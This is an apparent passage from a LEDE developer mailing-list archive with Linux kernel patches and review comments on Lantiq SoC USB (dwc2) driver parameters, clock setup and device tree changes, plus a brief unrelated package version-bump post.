+Make the settings for the dwc2 driver match the settings used by the
+vendor driver.
+
+Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
+---
+ drivers/usb/dwc2/platform.c | 17 +++++++++--------
+ 1 file changed, 9 insertions(+), 8 deletions(-)
+
+--- a/drivers/usb/dwc2/platform.c
++++ b/drivers/usb/dwc2/platform.c
+@@ -120,18 +120,18 @@ static const struct dwc2_core_params par
+ 	.otg_cap			= 2,	/* non-HNP/non-SRP */
+ 	.otg_ver			= -1,
+ 	.dma_enable			= -1,
+-	.dma_desc_enable		= -1,
+-	.speed				= -1,
++	.dma_desc_enable		= 0,
++	.speed				= DWC2_SPEED_PARAM_HIGH,
+ 	.enable_dynamic_fifo		= -1,
+ 	.en_multiple_tx_fifo		= -1,
+-	.host_rx_fifo_size		= 288,	/* 288 DWORDs */
+-	.host_nperio_tx_fifo_size	= 128,	/* 128 DWORDs */
+-	.host_perio_tx_fifo_size	= 96,	/* 96 DWORDs */
+-	.max_transfer_size		= 65535,
+-	.max_packet_count		= 511,
++	.host_rx_fifo_size		= 240,	/* 240 DWORDs */
++	.host_nperio_tx_fifo_size	= 240,	/* 240 DWORDs */
++	.host_perio_tx_fifo_size	= 32,	/* 32 DWORDs */
++	.max_transfer_size		= -1,
++	.max_packet_count		= -1,
+ 	.host_channels			= -1,
+-	.phy_type			= -1,
+-	.phy_utmi_width			= -1,
++	.phy_type			= DWC2_PHY_TYPE_PARAM_UTMI,
++	.phy_utmi_width			= 16,
+ 	.phy_ulpi_ddr			= -1,
+ 	.phy_ulpi_ext_vbus		= -1,
+ 	.i2c_enable			= -1,
+@@ -140,7 +140,8 @@ static const struct dwc2_core_params par
+ 	.host_ls_low_power_phy_clk	= -1,
+ 	.ts_dline			= -1,
+ 	.reload_ctl			= -1,
+-	.ahbcfg				= GAHBCFG_HBSTLEN_INCR16 <<
++	/* vr9 a1x chip rev should use GAHBCFG_HBSTLEN_SINGLE */
++	.ahbcfg				= GAHBCFG_HBSTLEN_INCR4 <<
+ 					  GAHBCFG_HBSTLEN_SHIFT,
+ 	.uframe_sched			= -1,
+ 	.external_id_pin_ctl		= -1,
diff --git a/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch b/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
new file mode 100644
index 0000000000..492525349d
--- /dev/null
+++ b/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
@@ -0,0 +1,47 @@
+--- a/drivers/usb/dwc2/platform.c
++++ b/drivers/usb/dwc2/platform.c
+@@ -148,6 +148,35 @@ static const struct dwc2_core_params par
+ 	.hibernation			= -1,
+ };
+ 
++static const struct dwc2_core_params params_danube = {
++	.otg_cap			=  2,	/* non-HNP/non-SRP */
++	.otg_ver			= -1,
++	.dma_enable			= -1,
++	.dma_desc_enable		= 0,
++	.speed				= DWC2_SPEED_PARAM_HIGH,
++	.enable_dynamic_fifo		= -1,
++	.en_multiple_tx_fifo		= -1,
++	.host_rx_fifo_size		= 640,
++	.host_nperio_tx_fifo_size	= 640,
++	.host_perio_tx_fifo_size	= 768,
++	.max_transfer_size		= -1,
++	.max_packet_count		= -1,
++	.host_channels			= -1,
++	.phy_type			= -1,
++	.phy_utmi_width			= 16,
++	.phy_ulpi_ddr			= -1,
++	.phy_ulpi_ext_vbus		= -1,
++	.i2c_enable			= -1,
++	.ulpi_fs_ls			= -1,
++	.host_support_fs_ls_low_power	= -1,
++	.host_ls_low_power_phy_clk	= -1,
++	.ts_dline			= -1,
++	.reload_ctl			= -1,
++	.ahbcfg				= GAHBCFG_HBSTLEN_INCR4 <<
++					  GAHBCFG_HBSTLEN_SHIFT,
++	.uframe_sched			= -1,
++};
++
+ static int __dwc2_lowlevel_hw_enable(struct dwc2_hsotg *hsotg)
+ {
+ 	struct platform_device *pdev = to_platform_device(hsotg->dev);
+@@ -342,6 +371,8 @@ static int dwc2_driver_remove(struct pla
+ static const struct of_device_id dwc2_of_match_table[] = {
+ 	{ .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
+ 	{ .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
++	{ .compatible = "lantiq,danube-usb", .data = &params_danube },
++	{ .compatible = "lantiq,ase-usb", .data = &params_ltq },
+ 	{ .compatible = "lantiq,arx100-usb", .data = &params_ltq },
+ 	{ .compatible = "lantiq,xrx200-usb", .data = &params_ltq },
+ 	{ .compatible = "snps,dwc2", .data = NULL },
diff --git a/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch b/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
new file mode 100644
index 0000000000..e23d38733f
--- /dev/null
+++ b/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
@@ -0,0 +1,202 @@
+From 14909c4e4e836925668e74fc6e0e85ba0283cbf9 Mon Sep 17 00:00:00 2001
+From: Hauke Mehrtens <hauke at hauke-m.de>
+Date: Fri, 6 Jan 2017 17:40:12 +0100
+Subject: [PATCH 2/2] MIPS: lantiq: improve USB initialization
+
+This adds code to initialize the USB controller and PHY also on Danube,
+Amazon SE and AR10. This code is based on the Vendor driver from
+different UGW versions and compared to the hardware documentation.
+
+Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
+---
+ arch/mips/lantiq/xway/reset.c   | 120 ++++++++++++++++++++++++++++++----------
+ arch/mips/lantiq/xway/sysctrl.c |  20 +++++++
+ 2 files changed, 110 insertions(+), 30 deletions(-)
+
+--- a/arch/mips/lantiq/xway/reset.c
++++ b/arch/mips/lantiq/xway/reset.c
+@@ -72,6 +72,8 @@
+ #define RCU_USBCFG_HDSEL_BIT	BIT(11)
+ #define RCU_USBCFG_HOST_END_BIT	BIT(10)
+ #define RCU_USBCFG_SLV_END_BIT	BIT(9)
++#define RCU_USBCFG_SLV_END_BIT_AR9	BIT(17)
++
+ 
+ /* USB reset bits */
+ #define RCU_USBRESET		0x0010
+@@ -85,6 +87,8 @@
+ 
+ #define RCU_CFG1A		0x0038
+ #define RCU_CFG1B		0x003C
++#define  RCU_CFG1_TX_PEE	BIT(0)
++#define  RCU_CFG1_DIS_THR_SHIFT	15 /* Disconnect Threshold */	
+ 
+ /* USB PMU devices */
+ #define PMU_AHBM		BIT(15)
+@@ -306,38 +310,91 @@ static void ltq_usb_init(void)
+ 	/* Power for USB cores 1 & 2 */
+ 	ltq_pmu_enable(PMU_AHBM);
+ 	ltq_pmu_enable(PMU_USB0);
+-	ltq_pmu_enable(PMU_USB1);
+ 
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | BIT(0), RCU_CFG1A);
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | BIT(0), RCU_CFG1B);
++	if (of_machine_is_compatible("lantiq,ar10") ||
++	    of_machine_is_compatible("lantiq,grx390") ||
++	    of_machine_is_compatible("lantiq,ar9") ||
++	    of_machine_is_compatible("lantiq,vr9"))
++		ltq_pmu_enable(PMU_USB1);
++
++	if (of_machine_is_compatible("lantiq,vr9") ||
++	    of_machine_is_compatible("lantiq,ar10")) {
++		ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | RCU_CFG1_TX_PEE |
++			    7 << RCU_CFG1_DIS_THR_SHIFT, RCU_CFG1A);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | RCU_CFG1_TX_PEE |
++			    7 << RCU_CFG1_DIS_THR_SHIFT, RCU_CFG1B);
++	}
+ 
+ 	/* Enable USB PHY power for cores 1 & 2 */
+ 	ltq_pmu_enable(PMU_USB0_P);
+-	ltq_pmu_enable(PMU_USB1_P);
++	if (of_machine_is_compatible("lantiq,ar10") ||
++	    of_machine_is_compatible("lantiq,grx390") ||
++	    of_machine_is_compatible("lantiq,ar9") ||
++	    of_machine_is_compatible("lantiq,vr9"))
++		ltq_pmu_enable(PMU_USB1_P);
++
++	if (of_machine_is_compatible("lantiq,ase") ||
++	    of_machine_is_compatible("lantiq,danube")) {
++		/* Configure cores to host mode */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB1CFG);
++
++		/* Select DMA endianness (Host-endian: big-endian) */
++		ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
++	}
++
++	if (of_machine_is_compatible("lantiq,ar9")) {
++		/* Configure cores to host mode */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB1CFG);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB2CFG);
++
++		/* Select DMA endianness (Host-endian: big-endian) */
++		ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT_AR9)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
++		ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT_AR9)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
++	}
++
++	if (of_machine_is_compatible("lantiq,vr9") ||
++	    of_machine_is_compatible("lantiq,ar10")) {
++		/* Configure cores to host mode */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB1CFG);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB2CFG);
++
++		/* Select DMA endianness (Host-endian: big-endian) */
++		ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
++		ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
++	}
++
++	if (of_machine_is_compatible("lantiq,ar9")) {
++		/* Hard reset USB state machines */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET)
++			   | USBRESET_BIT | BIT(28), RCU_USBRESET);
++		udelay(50 * 1000);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET)
++			    & ~(USBRESET_BIT | BIT(28)), RCU_USBRESET);
++	} else {
++		/* Hard reset USB state machines */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) | USBRESET_BIT, RCU_USBRESET);
++		udelay(50 * 1000);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) & ~USBRESET_BIT, RCU_USBRESET);
++	}
+ 
+-	/* Configure cores to host mode */
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
+-		RCU_USB1CFG);
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
+-		RCU_USB2CFG);
+-
+-	/* Select DMA endianness (Host-endian: big-endian) */
+-	ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
+-		| RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
+-	ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT)
+-		| RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
+-
+-	/* Hard reset USB state machines */
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) | USBRESET_BIT, RCU_USBRESET);
+-	udelay(50 * 1000);
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) & ~USBRESET_BIT, RCU_USBRESET);
+-
+-	/* Soft reset USB state machines */
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
+-		| USB1RESET_BIT | USB2RESET_BIT, RCU_USBRESET2);
+-	udelay(50 * 1000);
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
+-		& ~(USB1RESET_BIT | USB2RESET_BIT), RCU_USBRESET2);
++	if (of_machine_is_compatible("lantiq,vr9")) {
++		/* Soft reset USB state machines */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
++			| USB1RESET_BIT | USB2RESET_BIT, RCU_USBRESET2);
++		udelay(50 * 1000);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
++			& ~(USB1RESET_BIT | USB2RESET_BIT), RCU_USBRESET2);
++	}
+ }
+ 
+ static int __init mips_reboot_setup(void)
+@@ -363,8 +420,11 @@ static int __init mips_reboot_setup(void
+ 	if (!ltq_rcu_membase)
+ 		panic("Failed to remap core memory");
+ 
+-	if (of_machine_is_compatible("lantiq,ar9") ||
+-	    of_machine_is_compatible("lantiq,vr9"))
++	if (of_machine_is_compatible("lantiq,danube") ||
++	    of_machine_is_compatible("lantiq,ase") ||
++	    of_machine_is_compatible("lantiq,ar9") ||
++	    of_machine_is_compatible("lantiq,vr9") ||
++	    of_machine_is_compatible("lantiq,ar10"))
+ 		ltq_usb_init();
+ 
+ 	if (of_machine_is_compatible("lantiq,vr9"))
+--- a/arch/mips/lantiq/xway/sysctrl.c
++++ b/arch/mips/lantiq/xway/sysctrl.c
+@@ -254,6 +254,25 @@ static void pmu_disable(struct clk *clk)
+ 		pr_warn("deactivating PMU module failed!");
+ }
+ 
++static void usb_set_clock(void)
++{
++	unsigned int val = ltq_cgu_r32(ifccr);
++
++	if (of_machine_is_compatible("lantiq,ar10") ||
++	    of_machine_is_compatible("lantiq,grx390")) {
++		val &= ~0x03; /* XTAL devices by 3 */
++	} else if (of_machine_is_compatible("lantiq,ar9") ||
++		   of_machine_is_compatible("lantiq,vr9")) {
++		/* TODO: this depends on the XTLA frequency */
++		val |= 0x03; /* XTAL devices by 3 */
++	} else if (of_machine_is_compatible("lantiq,ase")) {
++		val |= 0x20; /* from XTLA */
++	} else if (of_machine_is_compatible("lantiq,danube")) {
++		val |= 0x30; /* 12 MHz, generated from 36 MHz */
++	}
++	ltq_cgu_w32(val, ifccr);
++}
++
+ /* the pci enable helper */
+ static int pci_enable(struct clk *clk)
+ {
+@@ -608,4 +627,5 @@ void __init ltq_soc_init(void)
+ 
+ 	if (of_machine_is_compatible("lantiq,vr9"))
+ 		xbar_fpi_burst_disable();
++	usb_set_clock();
+ }
diff --git a/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch b/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
index 227d1cf25a..e42aaf9c07 100644
--- a/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
+++ b/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
@@ -1,6 +1,6 @@
 --- a/arch/mips/lantiq/xway/sysctrl.c
 +++ b/arch/mips/lantiq/xway/sysctrl.c
-@@ -423,6 +423,20 @@ static void clkdev_add_clkout(void)
+@@ -442,6 +442,20 @@ static void clkdev_add_clkout(void)
  	}
  }
  
@@ -21,10 +21,10 @@
  /* bring up all register ranges that we need for basic system control */
  void __init ltq_soc_init(void)
  {
-@@ -608,4 +622,6 @@ void __init ltq_soc_init(void)
- 
+@@ -628,4 +642,6 @@ void __init ltq_soc_init(void)
  	if (of_machine_is_compatible("lantiq,vr9"))
  		xbar_fpi_burst_disable();
+ 	usb_set_clock();
 +
 +	set_phy_clock_source(np_cgu);
  }
-- 
2.11.0



From philipp_subx at redfish-solutions.com  Fri Jan  6 11:19:41 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Fri, 6 Jan 2017 12:19:41 -0700
Subject: [LEDE-DEV] [PATCH oldpackage/eventlog oldpackage/syslog-ng3]
 version bump to latest
Message-ID: <F6AD23A2-DF47-4BD2-9776-471C5FD7605D@redfish-solutions.com>

A non-text attachment was scrubbed...
Name: update-syslog-eventlog.patch
Type: application/octet-stream
Size: 3580 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170106/20e0d477/attachment-0001.obj>

From martin.blumenstingl at googlemail.com  Fri Jan  6 11:26:15 2017
From: martin.blumenstingl at googlemail.com (Martin Blumenstingl)
Date: Fri, 6 Jan 2017 20:26:15 +0100
Subject: [PATCH] lantiq: update USB controller handling
In-Reply-To: <20170106190633.21185-1-hauke@hauke-m.de>
References: <20170106190633.21185-1-hauke@hauke-m.de>
Message-ID: <CAFBinCDVD_BTEKO-qm_RX8EwZox8-J0wcb05gC39qxogCdRBcg@mail.gmail.com>

Hi Hauke,

(CC'ing Mathias as he was looking into some of the USB issues as well)

On Fri, Jan 6, 2017 at 8:06 PM, Hauke Mehrtens <hauke at hauke-m.de> wrote:
> This makes the code use the same settings aas the vendor sdrivers.
s/aas/as/
s/sdrivers/driver/
you should probably also mention that this:
1. backports USB initialization fixes for XRX300, Danube and Amazon-SE
2. sets the clock source for all SoCs which fixes USB (initialization)
issues on Danube when using the dwc2 driver (thus fixes FS#351 and
supersedes Mathias' "lantiq: set the usb clock source" RFC patch)

> Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
> ---
>  target/linux/lantiq/dts/amazonse.dtsi              |   3 +-
>  target/linux/lantiq/dts/ar9.dtsi                   |   6 +-
>  target/linux/lantiq/dts/danube.dtsi                |   2 +-
>  target/linux/lantiq/dts/vr9.dtsi                   |   6 +-
>  ...MIPS-lantiq-danube-initialize-usb-on-boot.patch |  10 -
>  .../patches-4.4/0041-USB-DWC2-add-ltq-params.patch |  75 --------
>  .../linux/lantiq/patches-4.4/0047-poweroff.patch   |   2 +-
>  ...2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch |  78 ++++++++
>  ...ke-the-lantiq-settings-match-vendor-drive.patch |  53 ++++++
>  .../patches-4.4/0062-USB-DWC2-add-ltq-params.patch |  47 +++++
>  ...65-MIPS-lantiq-improve-USB-initialization.patch | 202 +++++++++++++++++++++
>  ...x200-add-gphy-clk-src-device-tree-binding.patch |   6 +-
>  12 files changed, 395 insertions(+), 95 deletions(-)
>  delete mode 100644 target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
>  delete mode 100644 target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
>  create mode 100644 target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
>  create mode 100644 target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
>  create mode 100644 target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
>  create mode 100644 target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
>
> diff --git a/target/linux/lantiq/dts/amazonse.dtsi b/target/linux/lantiq/dts/amazonse.dtsi
> index bce618fed8..2b8ad08140 100644
> --- a/target/linux/lantiq/dts/amazonse.dtsi
> +++ b/target/linux/lantiq/dts/amazonse.dtsi
> @@ -122,11 +122,12 @@
>                 };
>
>                 ifxhcd at E101000 {
> -                       compatible = "lantiq,ifxhcd-ase";
> +                       compatible = "lantiq,ase-usb", "lantiq,ifxhcd-ase";
>                         reg = <0xE101000 0x1000
>                                 0xE120000 0x3f000>;
>                         interrupt-parent = <&icu0>;
>                         interrupts = <39>;
> +                       dr_mode = "host";
>                         status = "disabled";
>                 };
>
> diff --git a/target/linux/lantiq/dts/ar9.dtsi b/target/linux/lantiq/dts/ar9.dtsi
> index 569f25f02c..2638a4b268 100644
> --- a/target/linux/lantiq/dts/ar9.dtsi
> +++ b/target/linux/lantiq/dts/ar9.dtsi
> @@ -137,20 +137,22 @@
>                 };
>
>                 ifxhcd at E101000 {
> -                       compatible = "lantiq,ifxhcd-arx100", "lantiq,ifxhcd-arx100-dwc2";
> +                       compatible = "lantiq,arx100-usb", "lantiq,ifxhcd-arx100";
>                         reg = <0xE101000 0x1000
>                                 0xE120000 0x3f000>;
>                         interrupt-parent = <&icu0>;
>                         interrupts = <62 91>;
> +                       dr_mode = "host";
>                         status = "disabled";
>                 };
>
>                 ifxhcd at E106000 {
> -                       compatible = "lantiq,ifxhcd-arx100-dwc2";
> +                       compatible = "lantiq,arx100-usb";
>                         reg = <0xE106000 0x1000
>                                 0xE1E0000 0x3f000>;
>                         interrupt-parent = <&icu0>;
>                         interrupts = <91>;
> +                       dr_mode = "host";
>                         status = "disabled";
>                 };
>
> diff --git a/target/linux/lantiq/dts/danube.dtsi b/target/linux/lantiq/dts/danube.dtsi
> index f11787f975..83e85c36a5 100644
> --- a/target/linux/lantiq/dts/danube.dtsi
> +++ b/target/linux/lantiq/dts/danube.dtsi
> @@ -143,7 +143,7 @@
>                 };
>
>                 ifxhcd at E101000 {
> -                       compatible = "lantiq,ifxhcd-danube-dwc2", "lantiq,ifxhcd-danube";
> +                       compatible = "lantiq,danube-usb", "lantiq,ifxhcd-danube";
>                         reg = <0xE101000 0x1000
>                                 0xE120000 0x3f000>;
>                         interrupt-parent = <&icu0>;
> diff --git a/target/linux/lantiq/dts/vr9.dtsi b/target/linux/lantiq/dts/vr9.dtsi
> index 4810a91c5c..eff4944411 100644
> --- a/target/linux/lantiq/dts/vr9.dtsi
> +++ b/target/linux/lantiq/dts/vr9.dtsi
> @@ -177,19 +177,21 @@
>
>                 ifxhcd at E101000 {
>                         status = "disabled";
> -                       compatible = "lantiq,ifxhcd-xrx200", "lantiq,ifxhcd-xrx200-dwc2";
> +                       compatible = "lantiq,xrx200-usb", "lantiq,ifxhcd-xrx200";
>                         reg = <0xE101000 0x1000
>                                 0xE120000 0x3f000>;
>                         interrupt-parent = <&icu0>;
>                         interrupts = <62 91>;
> +                       dr_mode = "host";
>                 };
>
>                 ifxhcd at E106000 {
>                         status = "disabled";
> -                       compatible = "lantiq,ifxhcd-xrx200-dwc2";
> +                       compatible = "lantiq,xrx200-usb";
>                         reg = <0xE106000 0x1000>;
>                         interrupt-parent = <&icu0>;
>                         interrupts = <91>;
> +                       dr_mode = "host";
>                 };
>
>                 eth0: eth at E108000 {
> diff --git a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch b/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
> deleted file mode 100644
> index bd42f38c0a..0000000000
> --- a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
> +++ /dev/null
> @@ -1,10 +0,0 @@
> ---- a/arch/mips/lantiq/xway/reset.c
> -+++ b/arch/mips/lantiq/xway/reset.c
> -@@ -370,6 +370,7 @@ static int __init mips_reboot_setup(void
> -               panic("Failed to remap core memory");
> -
> -       if (of_machine_is_compatible("lantiq,ar9") ||
> -+          of_machine_is_compatible("lantiq,danube") ||
> -           of_machine_is_compatible("lantiq,vr9"))
> -               ltq_usb_init();
> -
> diff --git a/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch b/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
> deleted file mode 100644
> index 68d5f3ff4d..0000000000
> --- a/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
> +++ /dev/null
> @@ -1,75 +0,0 @@
> ---- a/drivers/usb/dwc2/platform.c
> -+++ b/drivers/usb/dwc2/platform.c
> -@@ -145,6 +145,62 @@ static int __dwc2_lowlevel_hw_enable(str
> -       return ret;
> - }
> -
> -+static const struct dwc2_core_params params_ltq = {
> -+      .otg_cap                        = 2,    /* non-HNP/non-SRP */
> -+      .otg_ver                        = -1,
> -+      .dma_enable                     = -1,
> -+      .dma_desc_enable                = -1,
> -+      .speed                          = -1,
> -+      .enable_dynamic_fifo            = -1,
> -+      .en_multiple_tx_fifo            = -1,
> -+      .host_rx_fifo_size              = 288,  /* 288 DWORDs */
> -+      .host_nperio_tx_fifo_size       = 128,  /* 128 DWORDs */
> -+      .host_perio_tx_fifo_size        = 96,   /* 96 DWORDs */
> -+      .max_transfer_size              = -1,
> -+      .max_packet_count               = 511,
> -+      .host_channels                  = -1,
> -+      .phy_type                       = -1,
> -+      .phy_utmi_width                 = -1,
> -+      .phy_ulpi_ddr                   = -1,
> -+      .phy_ulpi_ext_vbus              = -1,
> -+      .i2c_enable                     = -1,
> -+      .ulpi_fs_ls                     = -1,
> -+      .host_support_fs_ls_low_power   = -1,
> -+      .host_ls_low_power_phy_clk      = -1,
> -+      .ts_dline                       = -1,
> -+      .reload_ctl                     = -1,
> -+      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR16 << GAHBCFG_HBSTLEN_SHIFT,
> -+      .uframe_sched                   = -1,
> -+};
> -+
> -+static const struct dwc2_core_params params_danube = {
> -+      .otg_cap                        =  2,   /* non-HNP/non-SRP */
> -+      .otg_ver                        = -1,
> -+      .dma_enable                     = -1,
> -+      .dma_desc_enable                = -1,
> -+      .speed                          = -1,
> -+      .enable_dynamic_fifo            = -1,
> -+      .en_multiple_tx_fifo            = -1,
> -+      .host_rx_fifo_size              = -1,
> -+      .host_nperio_tx_fifo_size       = -1,
> -+      .host_perio_tx_fifo_size        = -1,
> -+      .max_transfer_size              = -1,
> -+      .max_packet_count               = -1,
> -+      .host_channels                  = -1,
> -+      .phy_type                       = -1,
> -+      .phy_utmi_width                 = -1,
> -+      .phy_ulpi_ddr                   = -1,
> -+      .phy_ulpi_ext_vbus              = -1,
> -+      .i2c_enable                     = -1,
> -+      .ulpi_fs_ls                     = -1,
> -+      .host_support_fs_ls_low_power   = -1,
> -+      .host_ls_low_power_phy_clk      = -1,
> -+      .ts_dline                       = -1,
> -+      .reload_ctl                     = -1,
> -+      .ahbcfg                         = -1,
> -+      .uframe_sched                   = -1,
> -+};
> -+
> - /**
> -  * dwc2_lowlevel_hw_enable - enable platform lowlevel hw resources
> -  * @hsotg: The driver state
> -@@ -310,6 +366,9 @@ static int dwc2_driver_remove(struct pla
> - static const struct of_device_id dwc2_of_match_table[] = {
> -       { .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
> -       { .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
> -+      { .compatible = "lantiq,ifxhcd-danube-dwc2", .data = &params_danube },
> -+      { .compatible = "lantiq,ifxhcd-arx100-dwc2", .data = &params_ltq },
> -+      { .compatible = "lantiq,ifxhcd-xrx200-dwc2", .data = &params_ltq },
> -       { .compatible = "snps,dwc2", .data = NULL },
> -       { .compatible = "samsung,s3c6400-hsotg", .data = NULL},
> -       {},
> diff --git a/target/linux/lantiq/patches-4.4/0047-poweroff.patch b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
> index 88aed2ce96..54249bba52 100644
> --- a/target/linux/lantiq/patches-4.4/0047-poweroff.patch
> +++ b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
> @@ -13,7 +13,7 @@
>   static void ltq_usb_init(void)
>   {
>         /* Power for USB cores 1 & 2 */
> -@@ -380,7 +374,6 @@ static int __init mips_reboot_setup(void
> +@@ -379,7 +373,6 @@ static int __init mips_reboot_setup(void
>
>         _machine_restart = ltq_machine_restart;
>         _machine_halt = ltq_machine_halt;
> diff --git a/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch b/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
> new file mode 100644
> index 0000000000..91d6ac92e7
> --- /dev/null
> +++ b/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
> @@ -0,0 +1,78 @@
> +From 6c0c0951bbf8c2c216675fe277fba4c42aa0a2bf Mon Sep 17 00:00:00 2001
> +From: =?UTF-8?q?Antti=20Sepp=C3=A4l=C3=A4?= <a.seppala at gmail.com>
> +Date: Sat, 27 Feb 2016 12:31:24 +0200
> +Subject: [PATCH] usb: dwc2: Add support for Lantiq ARX and XRX SoCs
> +MIME-Version: 1.0
> +Content-Type: text/plain; charset=UTF-8
> +Content-Transfer-Encoding: 8bit
> +
> +Add support for Lantiq ARX and XRX SoC families to the dwc2 driver.
> +
> +Acked-by: John Youn <johnyoun at synopsys.com>
> +Signed-off-by: Antti Sepp?l? <a.seppala at gmail.com>
> +Signed-off-by: Felipe Balbi <balbi at kernel.org>
> +---
> + Documentation/devicetree/bindings/usb/dwc2.txt |  2 ++
> + drivers/usb/dwc2/platform.c                    | 34 ++++++++++++++++++++++++++
> + 2 files changed, 36 insertions(+)
> +
> +--- a/Documentation/devicetree/bindings/usb/dwc2.txt
> ++++ b/Documentation/devicetree/bindings/usb/dwc2.txt
> +@@ -7,6 +7,8 @@ Required properties:
> +   - rockchip,rk3066-usb: The DWC2 USB controller instance in the rk3066 Soc;
> +   - "rockchip,rk3188-usb", "rockchip,rk3066-usb", "snps,dwc2": for rk3188 Soc;
> +   - "rockchip,rk3288-usb", "rockchip,rk3066-usb", "snps,dwc2": for rk3288 Soc;
> ++  - "lantiq,arx100-usb": The DWC2 USB controller instance in Lantiq ARX SoCs;
> ++  - "lantiq,xrx200-usb": The DWC2 USB controller instance in Lantiq XRX SoCs;
> +   - snps,dwc2: A generic DWC2 USB controller with default parameters.
> + - reg : Should contain 1 register range (address and length)
> + - interrupts : Should contain 1 interrupt
> +--- a/drivers/usb/dwc2/platform.c
> ++++ b/drivers/usb/dwc2/platform.c
